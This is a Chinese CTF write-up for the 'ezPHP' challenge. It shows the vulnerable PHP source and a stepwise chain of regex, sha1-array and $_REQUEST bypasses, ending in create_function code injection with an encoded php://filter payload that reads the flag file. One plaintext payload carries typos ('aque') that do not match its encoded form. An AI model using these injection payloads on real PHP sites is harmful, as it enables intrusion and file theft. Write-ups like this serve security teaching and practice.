[BJDCTF2020]ezPHP

ctrl+u 获得提示源码地址：

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GFXEIM3YFZYGQ4A=
base32解码后：
1nD3x.php

进入获得源码：

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<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

有多个绕过，好多个知识点：

1.$_SERVER[‘QUERY_STRING’]绕过

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if($_SERVER) { 
    if (
//几乎ban掉了payload里所有可能用到的词        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}
$_SERVER[‘QUERY_STRING’]函数不对传入的东西进行url编码，所以把payload进行url编码之后传入即可绕过

(ps:一般的url编码不能把英文字母等非特殊字符也编码，所以本题中如果只是把payload丢到编码器里没有用，但我也只找到这个师傅说了对应的解决办法

英语字符的url编码就是在字符的十六进制前面加了个百分号

2.preg_match绕过

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if (!preg_match('/http|https/i', $_GET['file']))
//不能包含http|https
{
    if (preg_match('/^aqua_is_cute$/', $_GET['debu'])&& $_GET['debu'] !== 'aqua_is_cute')
 //需要在debu=xxx中匹配到‘/^&/’，且debu不能为‘aqua_is_cute’
    { 
        $file = $_GET["file"]; //用file=xxx传值
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');
‘/^$/‘是正则匹配，^表示以xxx开头，$表示以xxx结尾，现在需要绕过preg_match，所以在dedu=aqua_is_cute末尾加上换行（也就是加上%0a）

3.$_REQUEST绕过

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if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value)) 
        //要求不能有字母
            die('fxck you! I hate English!'); 
    } 
} 
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$_POST优先级高于$_GET,所以用POST传入的值会把$_GET中的值覆盖掉

4.file_get_contents绕过

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if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
此处用data伪协议即可绕过（data://text/plain,~）

5.sha1函数、比较类型数组绕过

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if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
//既要shana和passwd传入的值不相同，又要这两个传入的值经过sha1散列之后强相等
{
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1函数对数组不敏感，所以用shana[]=0&passwd[]=1绕过
//至此为止，满足以上五个条件的payload是：
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file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=0&passwd[]=1

url编码后就是：

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file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

同时POST传入：

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file=1&debu=1

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这样就是最后一个绕过：

6.create_function运用：

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if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) 
//ban了这么这么多，肯定不能用一般方法传入payload了
{ 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";//包含了flag.php这个文件
    $code('', $arg);
} ?>

code和arg是可更改变量，所以在这两个东西上下功夫

6.1由第5步中（extract函数可见，需要通过flag[arg]=xxx，flag[code]=xxx传参
6.2利用create_function,对于
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$aaa = create_function('$a, $b', 'return $a+$b;');

相当于

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function aaa($a, $b){
    return $a+$b;
}

对于

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$code=return $a+$b;}fction();//

相当于

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function aaa($a, $b){
    return $a+$b;
}  
fction();//}（fction为某个任意函数，"//"可以注释掉后面的内容）

应用到本题,可以得到

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flag[code]=create_function&flag[arg]=}fction();//
6.3由于包含了flag.php这个文件，为了查看所以用到两个函数

var_dump：https://www.php.net/manual/zh/function.var-dump.php

get_defined_vars()：https://www.codercto.com/courses/d/863.html

可以利用get_defined_vars()将所有变量和值都进行输出

所以构造payload：

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flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
6.4字母和数字都被ban了，所以跟前面一样，用url编码一下
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file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

POST传参：

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file=1&debu=1

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6.5提示了flag在rea1fl4g.php里，所以考虑用require函数，php//filter读取文件
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require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

url编码之后

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require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

利用异或或者~进行取反操作

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require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

替换上一步中的var_dump(get_defined_vars())

最终最终的payload

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/1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

POST传参：

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file=1&debu=1

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获得flag！